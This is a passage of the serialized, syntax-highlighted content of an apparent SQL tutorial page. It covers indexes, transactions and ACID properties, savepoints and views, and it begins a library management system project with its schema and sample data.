column (often searched)\n",[94,22905,22906,22908,22911,22914,22916],{"class":96,"line":111},[94,22907,18784],{"class":753},[94,22909,22910],{"class":753}," INDEX",[94,22912,22913],{"class":146}," idx_customers_email",[94,22915,20460],{"class":753},[94,22917,22918],{"class":100}," customers(email);\n",[94,22920,22921],{"class":96,"line":122},[94,22922,289],{"emptyLinePlaceholder":288},[94,22924,22925],{"class":96,"line":138},[94,22926,22927],{"class":790},"-- Create a composite index (for queries that filter on both columns)\n",[94,22929,22930,22932,22934,22937,22939],{"class":96,"line":164},[94,22931,18784],{"class":753},[94,22933,22910],{"class":753},[94,22935,22936],{"class":146}," idx_orders_customer_date",[94,22938,20460],{"class":753},[94,22940,22941],{"class":100}," orders(customer_id, order_date);\n",[94,22943,22944],{"class":96,"line":174},[94,22945,289],{"emptyLinePlaceholder":288},[94,22947,22948],{"class":96,"line":188},[94,22949,22950],{"class":790},"-- Unique index (also enforces uniqueness like a UNIQUE constraint)\n",[94,22952,22953,22955,22958,22961,22963],{"class":96,"line":203},[94,22954,18784],{"class":753},[94,22956,22957],{"class":753}," UNIQUE INDEX",[94,22959,22960],{"class":146}," idx_products_sku",[94,22962,20460],{"class":753},[94,22964,22965],{"class":100}," products(sku);\n",[94,22967,22968],{"class":96,"line":1695},[94,22969,289],{"emptyLinePlaceholder":288},[94,22971,22972],{"class":96,"line":1702},[94,22973,22974],{"class":790},"-- Drop an index\n",[94,22976,22977,22979,22981],{"class":96,"line":1714},[94,22978,19584],{"class":753},[94,22980,22910],{"class":753},[94,22982,22983],{"class":100}," idx_customers_email;\n",[11,22985,22986],{},[1183,22987,22988],{},"When to add an index:",[483,22990,22991,23002,23005],{},[486,22992,22993,22994,346,22996,7498,22999,23001],{},"Columns frequently used in ",[34,22995,19492],{},[34,22997,22998],{},"JOIN ON",[34,23000,20346],{}," clauses",[486,23003,23004],{},"Foreign key columns (most RDBMS recommend this)",[486,23006,23007],{},"Columns with high cardinality (many distinct values)",[11,23009,23010],{},[1183,23011,23012],{},"When NOT to add an index:",[483,23014,23015,23018,23021],{},[486,23016,23017],{},"Small tables (full scan is fast enough)",[486,23019,23020],{},"Columns rarely used in queries",[486,23022,23023,23024,3497,23026,3497,23028,23030],{},"Tables with very frequent ",[34,23025,19605],{},[34,23027,19608],{},[34,23029,19611],{}," (indexes slow down writes)",[16061,23032,23033],{},[11,23034,23035,23038,23039,216,23042,23045,23046,360],{},[1183,23036,23037],{},"Rule of thumb:"," Add indexes based on actual query patterns, not\npreemptively on every column. Use ",[34,23040,23041],{},"EXPLAIN",[34,23043,23044],{},"EXPLAIN ANALYZE"," to see\nhow the database is executing a query — this is your primary tool for\n",[1183,23047,23048],{},"query optimization",[18509,23050],{},[18,23052,23054],{"id":23053},"_8-transactions-acid-properties","8. Transactions & ACID Properties",[11,23056,1748,23057,23060,23061,23064],{},[1183,23058,23059],{},"transaction"," is a sequence of SQL operations treated as a ",[1183,23062,23063],{},"single unit\nof work"," — either all of them succeed, or none of them do.",[23,23066,23068],{"id":23067},"the-classic-bank-transfer-example","The Classic Bank Transfer Example",[85,23070,23072],{"className":18770,"code":23071,"language":18772,"meta":90,"style":90},"BEGIN;  -- Start the transaction\n\n    -- Step 1: Deduct money from Rahul's account\n    UPDATE accounts SET balance = balance - 1000 WHERE id = 1;\n\n    -- Step 2: Add money to Priya's account\n    UPDATE accounts SET balance = balance + 1000 WHERE id = 2;\n\nCOMMIT; -- Only now are changes written permanently\n",[34,23073,23074,23083,23087,23092,23120,23124,23129,23157,23161],{"__ignoreMap":90},[94,23075,23076,23078,23080],{"class":96,"line":97},[94,23077,20483],{"class":753},[94,23079,20554],{"class":100},[94,23081,23082],{"class":790},"-- Start the transaction\n",[94,23084,23085],{"class":96,"line":111},[94,23086,289],{"emptyLinePlaceholder":288},[94,23088,23089],{"class":96,"line":122},[94,23090,23091],{"class":790},"    -- Step 1: Deduct money from Rahul's account\n",[94,23093,23094,23096,23098,23100,23102,23104,23106,23108,23110,23112,23114,23116,23118],{"class":96,"line":138},[94,23095,20490],{"class":753},[94,23097,20493],{"class":100},[94,23099,20145],{"class":753},[94,23101,20498],{"class":100},[94,23103,150],{"class":753},[94,23105,20498],{"class":100},[94,23107,6786],{"class":753},[94,23109,20617],{"class":757},[94,23111,20510],{"class":753},[94,23113,20513],{"class":100},[94,23115,150],{"class":753},[94,23117,5936],{"class":757},[94,23119,1302],{"class":100},[94,23121,23122],{"class":96,"line":164},[94,23123,289],{"emptyLinePlaceholder":288},[94,23125,23126],{"class":96,"line":174},[94,23127,23128],{"class":790},"    -- Step 2: Add money to Priya's account\n",[94,23130,23131,23133,23135,23137,23139,23141,23143,23145,23147,23149,23151,23153,23155],{"class":96,"line":188},[94,23132,20490],{"class":753},[94,23134,20493],{"class":100},[94,23136,20145],{"class":753},[94,23138,20498],{"class":100},[94,23140,150],{"class":753},[94,23142,20498],{"class":100},[94,23144,3623],{"class":753},[94,23146,20617],{"class":757},[94,23148,20510],{"class":753},[94,23150,20513],{"class":100},[94,23152,150],{"class":753},[94,23154,5123],{"class":757},[94,23156,1302],{"class":100},[94,23158,23159],{"class":96,"line":203},[94,23160,289],{"emptyLinePlaceholder":288},[94,23162,23163,23165,23168],{"class":96,"line":1695},[94,23164,19667],{"class":753},[94,23166,23167],{"class":100},"; ",[94,23169,23170],{"class":790},"-- Only now are changes written permanently\n",[11,23172,23173,23174,23176],{},"If the database crashes between Step 1 and Step 2, the ",[34,23175,19670],{}," happens\nautomatically — Rahul's money is returned. You never lose money in the void.",[23,23178,23180],{"id":23179},"acid-properties-in-sql","ACID Properties in SQL",[11,23182,23183,23186],{},[1183,23184,23185],{},"ACID properties"," are the set of guarantees every proper RDBMS provides for\ntransactions. For anyone learning SQL for computer science students or backend\ndevelopment, this is non-negotiable knowledge:",[497,23188,23189,23201],{},[500,23190,23191],{},[503,23192,23193,23195,23198],{},[506,23194,1413],{},[506,23196,23197],{},"What It Means",[506,23199,23200],{},"Real-World Analogy",[519,23202,23203,23216,23229,23243],{},[503,23204,23205,23210,23213],{},[524,23206,23207,23209],{},[1183,23208,4152],{},"tomicity",[524,23211,23212],{},"All operations succeed, or none do",[524,23214,23215],{},"A flight booking — you either get the seat AND pay, or neither happens",[503,23217,23218,23223,23226],{},[524,23219,23220,23222],{},[1183,23221,4145],{},"onsistency",[524,23224,23225],{},"The database moves from one valid state to another",[524,23227,23228],{},"A bank's total money never changes from a transfer",[503,23230,23231,23237,23240],{},[524,23232,23233,23236],{},[1183,23234,23235],{},"I","solation",[524,23238,23239],{},"Concurrent transactions don't interfere with each other",[524,23241,23242],{},"Two cashiers at a bank can serve customers simultaneously without error",[503,23244,23245,23251,23254],{},[524,23246,23247,23250],{},[1183,23248,23249],{},"D","urability",[524,23252,23253],{},"Once committed, changes survive crashes",[524,23255,23256],{},"A receipt means the transaction is permanent",[85,23258,23260],{"className":18770,"code":23259,"language":18772,"meta":90,"style":90},"-- Savepoints allow partial rollbacks within a transaction\nBEGIN;\n    INSERT INTO orders (...) VALUES (...);\n    SAVEPOINT order_created;\n\n    INSERT INTO payments (...) VALUES (...);\n    -- Something went wrong with payment:\n    ROLLBACK TO SAVEPOINT order_created;  -- Undo only the payment insert\n\nCOMMIT;  -- The order insert still gets committed\n",[34,23261,23262,23267,23273,23286,23291,23295,23306,23311,23325,23329],{"__ignoreMap":90},[94,23263,23264],{"class":96,"line":97},[94,23265,23266],{"class":790},"-- Savepoints allow partial rollbacks within a transaction\n",[94,23268,23269,23271],{"class":96,"line":111},[94,23270,20483],{"class":753},[94,23272,1302],{"class":100},[94,23274,23275,23278,23281,23283],{"class":96,"line":122},[94,23276,23277],{"class":753},"    INSERT INTO",[94,23279,23280],{"class":100}," orders (...) ",[94,23282,20006],{"class":753},[94,23284,23285],{"class":100}," (...);\n",[94,23287,23288],{"class":96,"line":138},[94,23289,23290],{"class":100},"    SAVEPOINT order_created;\n",[94,23292,23293],{"class":96,"line":164},[94,23294,289],{"emptyLinePlaceholder":288},[94,23296,23297,23299,23302,23304],{"class":96,"line":174},[94,23298,23277],{"class":753},[94,23300,23301],{"class":100}," payments (...) ",[94,23303,20006],{"class":753},[94,23305,23285],{"class":100},[94,23307,23308],{"class":96,"line":188},[94,23309,23310],{"class":790},"    -- Something went wrong with payment:\n",[94,23312,23313,23316,23319,23322],{"class":96,"line":203},[94,23314,23315],{"class":753},"    ROLLBACK",[94,23317,23318],{"class":753}," TO",[94,23320,23321],{"class":100}," SAVEPOINT order_created;  ",[94,23323,23324],{"class":790},"-- Undo only the payment insert\n",[94,23326,23327],{"class":96,"line":1695},[94,23328,289],{"emptyLinePlaceholder":288},[94,23330,23331,23333,23335],{"class":96,"line":1702},[94,23332,19667],{"class":753},[94,23334,20554],{"class":100},[94,23336,23337],{"class":790},"-- The order insert still gets committed\n",[18509,23339],{},[18,23341,23343],{"id":23342},"_9-views","9. Views",[11,23345,1748,23346,23349,23350,23353],{},[1183,23347,23348],{},"view"," is a saved SQL query that you can treat like a virtual table. The\nview itself stores no data — it executes the underlying query every time you\nselect from it. Views are an elegant tool for simplifying complex ",[1183,23351,23352],{},"database\nmanagement system"," operations.",[85,23355,23357],{"className":18770,"code":23356,"language":18772,"meta":90,"style":90},"-- Create a view for frequently needed customer order summary\nCREATE VIEW customer_order_summary AS\nSELECT\n    c.id,\n    c.name,\n    c.email,\n    COUNT(o.id)       AS total_orders,\n    SUM(o.total_amount) AS lifetime_value\nFROM customers c\nLEFT JOIN orders o ON c.id = o.customer_id\nGROUP BY c.id, c.name, c.email;\n\n-- Now use it just like a regular table\nSELECT * FROM customer_order_summary WHERE lifetime_value > 10000;\nSELECT name, total_orders FROM customer_order_summary ORDER BY total_orders DESC LIMIT 10;\n\n-- Drop a view\nDROP VIEW customer_order_summary;\n",[34,23358,23359,23364,23377,23381,23391,23401,23411,23430,23449,23455,23477,23505,23509,23514,23537,23563,23567,23572],{"__ignoreMap":90},[94,23360,23361],{"class":96,"line":97},[94,23362,23363],{"class":790},"-- Create a view for frequently needed customer order summary\n",[94,23365,23366,23368,23371,23374],{"class":96,"line":111},[94,23367,18784],{"class":753},[94,23369,23370],{"class":753}," VIEW",[94,23372,23373],{"class":146}," customer_order_summary",[94,23375,23376],{"class":753}," AS\n",[94,23378,23379],{"class":96,"line":122},[94,23380,20399],{"class":753},[94,23382,23383,23385,23387,23389],{"class":96,"line":138},[94,23384,21644],{"class":757},[94,23386,360],{"class":100},[94,23388,367],{"class":757},[94,23390,3848],{"class":100},[94,23392,23393,23395,23397,23399],{"class":96,"line":164},[94,23394,21644],{"class":757},[94,23396,360],{"class":100},[94,23398,4026],{"class":757},[94,23400,3848],{"class":100},[94,23402,23403,23405,23407,23409],{"class":96,"line":174},[94,23404,21644],{"class":757},[94,23406,360],{"class":100},[94,23408,18979],{"class":757},[94,23410,3848],{"class":100},[94,23412,23413,23415,23417,23419,23421,23423,23425,23427],{"class":96,"line":188},[94,23414,21326],{"class":757},[94,23416,770],{"class":100},[94,23418,21867],{"class":757},[94,23420,360],{"class":100},[94,23422,367],{"class":757},[94,23424,21333],{"class":100},[94,23426,20417],{"class":753},[94,23428,23429],{"class":100}," total_orders,\n",[94,23431,23432,23434,23436,23438,23440,23442,23444,23446],{"class":96,"line":203},[94,23433,21356],{"class":757},[94,23435,770],{"class":100},[94,23437,21867],{"class":757},[94,23439,360],{"class":100},[94,23441,21677],{"class":757},[94,23443,3615],{"class":100},[94,23445,20417],{"class":753},[94,23447,23448],{"class":100}," lifetime_value\n",[94,23450,23451,23453],{"class":96,"line":1695},[94,23452,20331],{"class":753},[94,23454,21695],{"class":100},[94,23456,23457,23459,23461,23463,23465,23467,23469,23471,23473,23475],{"class":96,"line":1702},[94,23458,21801],{"class":753},[94,23460,21702],{"class":100},[94,23462,21705],{"class":753},[94,23464,6479],{"class":757},[94,23466,360],{"class":100},[94,23468,367],{"class":757},[94,23470,761],{"class":753},[94,23472,21716],{"class":757},[94,23474,360],{"class":100},[94,23476,22055],{"class":757},[94,23478,23479,23481,23483,23485,23487,23489,23491,23493,23495,23497,23499,23501,23503],{"class":96,"line":1714},[94,23480,21375],{"class":753},[94,23482,6479],{"class":757},[94,23484,360],{"class":100},[94,23486,367],{"class":757},[94,23488,346],{"class":100},[94,23490,5421],{"class":757},[94,23492,360],{"class":100},[94,23494,4026],{"class":757},[94,23496,346],{"class":100},[94,23498,5421],{"class":757},[94,23500,360],{"class":100},[94,23502,18979],{"class":757},[94,23504,1302],{"class":100},[94,23506,23507],{"class":96,"line":1726},[94,23508,289],{"emptyLinePlaceholder":288},[94,23510,23511],{"class":96,"line":5586},[94,23512,23513],{"class":790},"-- Now use it just like a regular table\n",[94,23515,23516,23518,23520,23522,23525,23527,23530,23532,23535],{"class":96,"line":6797},[94,23517,19480],{"class":753},[94,23519,19483],{"class":753},[94,23521,19486],{"class":753},[94,23523,23524],{"class":100}," customer_order_summary ",[94,23526,19492],{"class":753},[94,23528,23529],{"class":100}," lifetime_value ",[94,23531,8683],{"class":753},[94,23533,23534],{"class":757}," 10000",[94,23536,1302],{"class":100},[94,23538,23539,23541,23543,23546,23548,23550,23552,23555,23557,23559,23561],{"class":96,"line":6808},[94,23540,19480],{"class":753},[94,23542,1139],{"class":753},[94,23544,23545],{"class":100},", total_orders ",[94,23547,20331],{"class":753},[94,23549,23524],{"class":100},[94,23551,20346],{"class":753},[94,23553,23554],{"class":100}," total_orders ",[94,23556,21024],{"class":753},[94,23558,21086],{"class":753},[94,23560,20888],{"class":757},[94,23562,1302],{"class":100},[94,23564,23565],{"class":96,"line":6821},[94,23566,289],{"emptyLinePlaceholder":288},[94,23568,23569],{"class":96,"line":6827},[94,23570,23571],{"class":790},"-- Drop a view\n",[94,23573,23574,23576,23578],{"class":96,"line":6832},[94,23575,19584],{"class":753},[94,23577,23370],{"class":753},[94,23579,23580],{"class":100}," customer_order_summary;\n",[11,23582,23583],{},[1183,23584,23585],{},"Benefits of Views:",[483,23587,23588,23594,23600,23606],{},[486,23589,23590,23593],{},[1183,23591,23592],{},"Simplicity:"," Hide complex joins behind a simple name",[486,23595,23596,23599],{},[1183,23597,23598],{},"Security:"," Expose only certain columns to certain users",[486,23601,23602,23605],{},[1183,23603,23604],{},"Consistency:"," Everyone queries the same definition",[486,23607,23608,23611],{},[1183,23609,23610],{},"Maintainability:"," Change the query in one place",[18509,23613],{},[18,23615,23617],{"id":23616},"_10-a-complete-practical-project","10. A Complete Practical Project",[11,23619,23620,23621,23623,23624,23627],{},"Let's ",[1183,23622,22634],{}," — a minimal but real\n",[1183,23625,23626],{},"Library Management System",". This is a great hands-on exercise for anyone\nfollowing this relational database tutorial.",[23,23629,23631],{"id":23630},"step-1-design-the-schema","Step 1: Design the Schema",[11,23633,23634],{},[426,23635],{"alt":23636,"src":23637},"Library Management System Database Schema Diagram","/post-images/sql-made-dead-simple-rdbms-guide/library-management-system-database-schema-diagram.png",[85,23639,23641],{"className":18770,"code":23640,"language":18772,"meta":90,"style":90},"-- Authors\nCREATE TABLE authors (\n    id         SERIAL PRIMARY KEY,\n    name       VARCHAR(150) NOT NULL,\n    country    VARCHAR(100),\n    birth_year INT CHECK (birth_year > 1000)\n);\n\n-- Books\nCREATE TABLE books (\n    id            SERIAL PRIMARY KEY,\n    title         VARCHAR(255) NOT NULL,\n    author_id     INT NOT NULL REFERENCES authors(id),\n    isbn          VARCHAR(20) UNIQUE,\n    published_year INT,\n    genre         VARCHAR(100),\n    total_copies  INT DEFAULT 1 CHECK (total_copies >= 0)\n);\n\n-- Members\nCREATE TABLE members (\n    id           SERIAL PRIMARY KEY,\n    name         VARCHAR(150) NOT NULL,\n    email        VARCHAR(255) NOT NULL UNIQUE,\n    joined_on    DATE DEFAULT CURRENT_DATE,\n    is_active    BOOLEAN DEFAULT TRUE\n);\n\n-- Borrowing records\nCREATE TABLE borrowings (\n    id            SERIAL PRIMARY KEY,\n    book_id       INT NOT NULL REFERENCES books(id),\n    member_id     INT NOT NULL REFERENCES members(id),\n    borrowed_on   DATE NOT NULL DEFAULT CURRENT_DATE,\n    due_on        DATE NOT NULL,\n    returned_on   DATE\n);\n",[34,23642,23643,23648,23659,23669,23686,23699,23718,23722,23726,23731,23742,23753,23770,23785,23802,23811,23824,23846,23850,23854,23859,23870,23881,23897,23916,23928,23940,23944,23948,23954,23966,23977,23992,24007,24021,24033,24041],{"__ignoreMap":90},[94,23644,23645],{"class":96,"line":97},[94,23646,23647],{"class":790},"-- Authors\n",[94,23649,23650,23652,23654,23657],{"class":96,"line":111},[94,23651,18784],{"class":753},[94,23653,18787],{"class":753},[94,23655,23656],{"class":146}," authors",[94,23658,18793],{"class":100},[94,23660,23661,23663,23665,23667],{"class":96,"line":122},[94,23662,22409],{"class":100},[94,23664,19705],{"class":753},[94,23666,18804],{"class":753},[94,23668,3848],{"class":100},[94,23670,23671,23673,23675,23677,23680,23682,23684],{"class":96,"line":138},[94,23672,18811],{"class":753},[94,23674,18814],{"class":753},[94,23676,770],{"class":100},[94,23678,23679],{"class":757},"150",[94,23681,3615],{"class":100},[94,23683,19729],{"class":753},[94,23685,3848],{"class":100},[94,23687,23688,23691,23693,23695,23697],{"class":96,"line":164},[94,23689,23690],{"class":100},"    country    ",[94,23692,19831],{"class":753},[94,23694,770],{"class":100},[94,23696,2186],{"class":757},[94,23698,18821],{"class":100},[94,23700,23701,23704,23706,23709,23712,23714,23716],{"class":96,"line":174},[94,23702,23703],{"class":100},"    birth_year ",[94,23705,18801],{"class":753},[94,23707,23708],{"class":753}," CHECK",[94,23710,23711],{"class":100}," (birth_year ",[94,23713,8683],{"class":753},[94,23715,20617],{"class":757},[94,23717,776],{"class":100},[94,23719,23720],{"class":96,"line":188},[94,23721,2093],{"class":100},[94,23723,23724],{"class":96,"line":203},[94,23725,289],{"emptyLinePlaceholder":288},[94,23727,23728],{"class":96,"line":1695},[94,23729,23730],{"class":790},"-- Books\n",[94,23732,23733,23735,23737,23740],{"class":96,"line":1702},[94,23734,18784],{"class":753},[94,23736,18787],{"class":753},[94,23738,23739],{"class":146}," books",[94,23741,18793],{"class":100},[94,23743,23744,23747,23749,23751],{"class":96,"line":1714},[94,23745,23746],{"class":100},"    id            ",[94,23748,19705],{"class":753},[94,23750,18804],{"class":753},[94,23752,3848],{"class":100},[94,23754,23755,23758,23760,23762,23764,23766,23768],{"class":96,"line":1726},[94,23756,23757],{"class":100},"    title         ",[94,23759,19831],{"class":753},[94,23761,770],{"class":100},[94,23763,22427],{"class":757},[94,23765,3615],{"class":100},[94,23767,19729],{"class":753},[94,23769,3848],{"class":100},[94,23771,23772,23775,23777,23780,23782],{"class":96,"line":5586},[94,23773,23774],{"class":100},"    author_id     ",[94,23776,18801],{"class":753},[94,23778,23779],{"class":753}," NOT NULL",[94,23781,18892],{"class":753},[94,23783,23784],{"class":100}," authors(id),\n",[94,23786,23787,23790,23792,23794,23796,23798,23800],{"class":96,"line":6797},[94,23788,23789],{"class":100},"    isbn          ",[94,23791,19831],{"class":753},[94,23793,770],{"class":100},[94,23795,5435],{"class":757},[94,23797,3615],{"class":100},[94,23799,22365],{"class":753},[94,23801,3848],{"class":100},[94,23803,23804,23807,23809],{"class":96,"line":6808},[94,23805,23806],{"class":100},"    published_year ",[94,23808,18801],{"class":753},[94,23810,3848],{"class":100},[94,23812,23813,23816,23818,23820,23822],{"class":96,"line":6821},[94,23814,23815],{"class":100},"    genre         ",[94,23817,19831],{"class":753},[94,23819,770],{"class":100},[94,23821,2186],{"class":757},[94,23823,18821],{"class":100},[94,23825,23826,23829,23831,23833,23835,23837,23840,23842,23844],{"class":96,"line":6827},[94,23827,23828],{"class":100},"    total_copies  ",[94,23830,18801],{"class":753},[94,23832,19777],{"class":753},[94,23834,5936],{"class":757},[94,23836,23708],{"class":753},[94,23838,23839],{"class":100}," (total_copies ",[94,23841,6791],{"class":753},[94,23843,5159],{"class":757},[94,23845,776],{"class":100},[94,23847,23848],{"class":96,"line":6832},[94,23849,2093],{"class":100},[94,23851,23852],{"class":96,"line":17244},[94,23853,289],{"emptyLinePlaceholder":288},[94,23855,23856],{"class":96,"line":17250},[94,23857,23858],{"class":790},"-- Members\n",[94,23860,23861,23863,23865,23868],{"class":96,"line":20860},[94,23862,18784],{"class":753},[94,23864,18787],{"class":753},[94,23866,23867],{"class":146}," members",[94,23869,18793],{"class":100},[94,23871,23872,23875,23877,23879],{"class":96,"line":20871},[94,23873,23874],{"class":100},"    id           ",[94,23876,19705],{"class":753},[94,23878,18804],{"class":753},[94,23880,3848],{"class":100},[94,23882,23883,23885,23887,23889,23891,23893,23895],{"class":96,"line":20893},[94,23884,18811],{"class":753},[94,23886,19720],{"class":753},[94,23888,770],{"class":100},[94,23890,23679],{"class":757},[94,23892,3615],{"class":100},[94,23894,19729],{"class":753},[94,23896,3848],{"class":100},[94,23898,23899,23902,23904,23906,23908,23910,23912,23914],{"class":96,"line":20898},[94,23900,23901],{"class":100},"    email        ",[94,23903,19831],{"class":753},[94,23905,770],{"class":100},[94,23907,22427],{"class":757},[94,23909,3615],{"class":100},[94,23911,19729],{"class":753},[94,23913,22434],{"class":753},[94,23915,3848],{"class":100},[94,23917,23918,23921,23923,23925],{"class":96,"line":20909},[94,23919,23920],{"class":100},"    joined_on    ",[94,23922,19329],{"class":753},[94,23924,19777],{"class":753},[94,23926,23927],{"class":100}," CURRENT_DATE,\n",[94,23929,23930,23933,23935,23937],{"class":96,"line":20932},[94,23931,23932],{"class":100},"    is_active    ",[94,23934,19309],{"class":753},[94,23936,19777],{"class":753},[94,23938,23939],{"class":100}," TRUE\n",[94,23941,23942],{"class":96,"line":20937},[94,23943,2093],{"class":100},[94,23945,23946],{"class":96,"line":20943},[94,23947,289],{"emptyLinePlaceholder":288},[94,23949,23951],{"class":96,"line":23950},29,[94,23952,23953],{"class":790},"-- Borrowing records\n",[94,23955,23957,23959,23961,23964],{"class":96,"line":23956},30,[94,23958,18784],{"class":753},[94,23960,18787],{"class":753},[94,23962,23963],{"class":146}," borrowings",[94,23965,18793],{"class":100},[94,23967,23969,23971,23973,23975],{"class":96,"line":23968},31,[94,23970,23746],{"class":100},[94,23972,19705],{"class":753},[94,23974,18804],{"class":753},[94,23976,3848],{"class":100},[94,23978,23980,23983,23985,23987,23989],{"class":96,"line":23979},32,[94,23981,23982],{"class":100},"    book_id       ",[94,23984,18801],{"class":753},[94,23986,23779],{"class":753},[94,23988,18892],{"class":753},[94,23990,23991],{"class":100}," books(id),\n",[94,23993,23995,23998,24000,24002,24004],{"class":96,"line":23994},33,[94,23996,23997],{"class":100},"    member_id     ",[94,23999,18801],{"class":753},[94,24001,23779],{"class":753},[94,24003,18892],{"class":753},[94,24005,24006],{"class":100}," members(id),\n",[94,24008,24010,24013,24015,24017,24019],{"class":96,"line":24009},34,[94,24011,24012],{"class":100},"    borrowed_on   ",[94,24014,19329],{"class":753},[94,24016,23779],{"class":753},[94,24018,19777],{"class":753},[94,24020,23927],{"class":100},[94,24022,24024,24027,24029,24031],{"class":96,"line":24023},35,[94,24025,24026],{"class":100},"    due_on        ",[94,24028,19329],{"class":753},[94,24030,23779],{"class":753},[94,24032,3848],{"class":100},[94,24034,24036,24039],{"class":96,"line":24035},36,[94,24037,24038],{"class":100},"    returned_on   ",[94,24040,18915],{"class":753},[94,24042,24044],{"class":96,"line":24043},37,[94,24045,2093],{"class":100},[23,24047,24049],{"id":24048},"step-2-insert-sample-data","Step 2: Insert Sample Data",[85,24051,24053],{"className":18770,"code":24052,"language":18772,"meta":90,"style":90},"INSERT INTO authors (name, country, birth_year) VALUES\n    ('George Orwell', 'United Kingdom', 1903),\n    ('Yuval Noah Harari', 'Israel', 1976),\n    ('Robert C. Martin', 'United States', 1952);\n\nINSERT INTO books (title, author_id, isbn, published_year, genre, total_copies) VALUES\n    ('1984',                1, '978-0451524935', 1949, 'Dystopian', 5),\n    ('Animal Farm',         1, '978-0451526342', 1945, 'Satire',    3),\n    ('Sapiens',             2, '978-0062316097', 2011, 'Non-Fiction', 4),\n    ('Clean Code',          3, '978-0132350884', 2008, 'Technology', 2);\n\nINSERT INTO members (name, email) VALUES\n    ('Priya Sharma', 'priya@example.com'),\n    ('Rahul Das',    'rahul@example.com'),\n    ('Aisha Khan',   'aisha@example.com');\n\nINSERT INTO borrowings (book_id, member_id, borrowed_on, due_on, returned_on) VALUES\n    (1, 1, '2024-01-10', '2024-01-24', '2024-01-20'),  -- returned\n    (3, 2, '2024-01-15', '2024-01-29', NULL),           -- still out\n    (1, 3, '2024-01-18', '2024-02-01', NULL);            -- still out\n",[34,24054,24055,24069,24088,24107,24126,24130,24139,24172,24206,24239,24272,24276,24290,24304,24318,24333,24337,24346,24377,24407],{"__ignoreMap":90},[94,24056,24057,24059,24062,24064,24067],{"class":96,"line":97},[94,24058,19993],{"class":753},[94,24060,24061],{"class":100}," authors (",[94,24063,4026],{"class":753},[94,24065,24066],{"class":100},", country, birth_year) ",[94,24068,20051],{"class":753},[94,24070,24071,24073,24076,24078,24081,24083,24086],{"class":96,"line":111},[94,24072,20056],{"class":100},[94,24074,24075],{"class":153},"'George Orwell'",[94,24077,346],{"class":100},[94,24079,24080],{"class":153},"'United Kingdom'",[94,24082,346],{"class":100},[94,24084,24085],{"class":757},"1903",[94,24087,18821],{"class":100},[94,24089,24090,24092,24095,24097,24100,24102,24105],{"class":96,"line":122},[94,24091,20056],{"class":100},[94,24093,24094],{"class":153},"'Yuval Noah Harari'",[94,24096,346],{"class":100},[94,24098,24099],{"class":153},"'Israel'",[94,24101,346],{"class":100},[94,24103,24104],{"class":757},"1976",[94,24106,18821],{"class":100},[94,24108,24109,24111,24114,24116,24119,24121,24124],{"class":96,"line":138},[94,24110,20056],{"class":100},[94,24112,24113],{"class":153},"'Robert C. Martin'",[94,24115,346],{"class":100},[94,24117,24118],{"class":153},"'United States'",[94,24120,346],{"class":100},[94,24122,24123],{"class":757},"1952",[94,24125,2093],{"class":100},[94,24127,24128],{"class":96,"line":164},[94,24129,289],{"emptyLinePlaceholder":288},[94,24131,24132,24134,24137],{"class":96,"line":174},[94,24133,19993],{"class":753},[94,24135,24136],{"class":100}," books (title, author_id, isbn, published_year, genre, total_copies) ",[94,24138,20051],{"class":753},[94,24140,24141,24143,24146,24149,24151,24153,24156,24158,24161,24163,24166,24168,24170],{"class":96,"line":188},[94,24142,20056],{"class":100},[94,24144,24145],{"class":153},"'1984'",[94,24147,24148],{"class":100},",                ",[94,24150,2591],{"class":757},[94,24152,346],{"class":100},[94,24154,24155],{"class":153},"'978-0451524935'",[94,24157,346],{"class":100},[94,24159,24160],{"class":757},"1949",[94,24162,346],{"class":100},[94,24164,24165],{"class":153},"'Dystopian'",[94,24167,346],{"class":100},[94,24169,6565],{"class":757},[94,24171,18821],{"class":100},[94,24173,24174,24176,24179,24182,24184,24186,24189,24191,24194,24196,24199,24202,24204],{"class":96,"line":203},[94,24175,20056],{"class":100},[94,24177,24178],{"class":153},"'Animal Farm'",[94,24180,24181],{"class":100},",         ",[94,24183,2591],{"class":757},[94,24185,346],{"class":100},[94,24187,24188],{"class":153},"'978-0451526342'",[94,24190,346],{"class":100},[94,24192,24193],{"class":757},"1945",[94,24195,346],{"class":100},[94,24197,24198],{"class":153},"'Satire'",[94,24200,24201],{"class":100},",    ",[94,24203,5060],{"class":757},[94,24205,18821],{"class":100},[94,24207,24208,24210,24213,24216,24218,24220,24223,24225,24228,24230,24233,24235,24237],{"class":96,"line":1695},[94,24209,20056],{"class":100},[94,24211,24212],{"class":153},"'Sapiens'",[94,24214,24215],{"class":100},",             ",[94,24217,5055],{"class":757},[94,24219,346],{"class":100},[94,24221,24222],{"class":153},"'978-0062316097'",[94,24224,346],{"class":100},[94,24226,24227],{"class":757},"2011",[94,24229,346],{"class":100},[94,24231,24232],{"class":153},"'Non-Fiction'",[94,24234,346],{"class":100},[94,24236,5065],{"class":757},[94,24238,18821],{"class":100},[94,24240,24241,24243,24246,24249,24251,24253,24256,24258,24261,24263,24266,24268,24270],{"class":96,"line":1702},[94,24242,20056],{"class":100},[94,24244,24245],{"class":153},"'Clean Code'",[94,24247,24248],{"class":100},",          ",[94,24250,5060],{"class":757},[94,24252,346],{"class":100},[94,24254,24255],{"class":153},"'978-0132350884'",[94,24257,346],{"class":100},[94,24259,24260],{"class":757},"2008",[94,24262,346],{"class":100},[94,24264,24265],{"class":153},"'Technology'",[94,24267,346],{"class":100},[94,24269,5055],{"class":757},[94,24271,2093],{"class":100},[94,24273,24274],{"class":96,"line":1714},[94,24275,289],{"emptyLinePlaceholder":288},[94,24277,24278,24280,24283,24285,24288],{"class":96,"line":1726},[94,24279,19993],{"class":753},[94,24281,24282],{"class":100}," members (",[94,24284,4026],{"class":753},[94,24286,24287],{"class":100},", email) ",[94,24289,20051],{"class":753},[94,24291,24292,24294,24297,24299,24302],{"class":96,"line":5586},[94,24293,20056],{"class":100},[94,24295,24296],{"class":153},"'Priya Sharma'",[94,24298,346],{"class":100},[94,24300,24301],{"class":153},"'priya@example.com'",[94,24303,18821],{"class":100},[94,24305,24306,24308,24311,24313,24316],{"class":96,"line":6797},[94,24307,20056],{"class":100},[94,24309,24310],{"class":153},"'Rahul Das'",[94,24312,24201],{"class":100},[94,24314,24315],{"class":153},"'rahul@example.com'",[94,24317,18821],{"class":100},[94,24319,24320,24322,24325,24328,24331],{"class":96,"line":6808},[94,24321,20056],{"class":100},[94,24323,24324],{"class":153},"'Aisha Khan'",[94,24326,24327],{"class":100},",   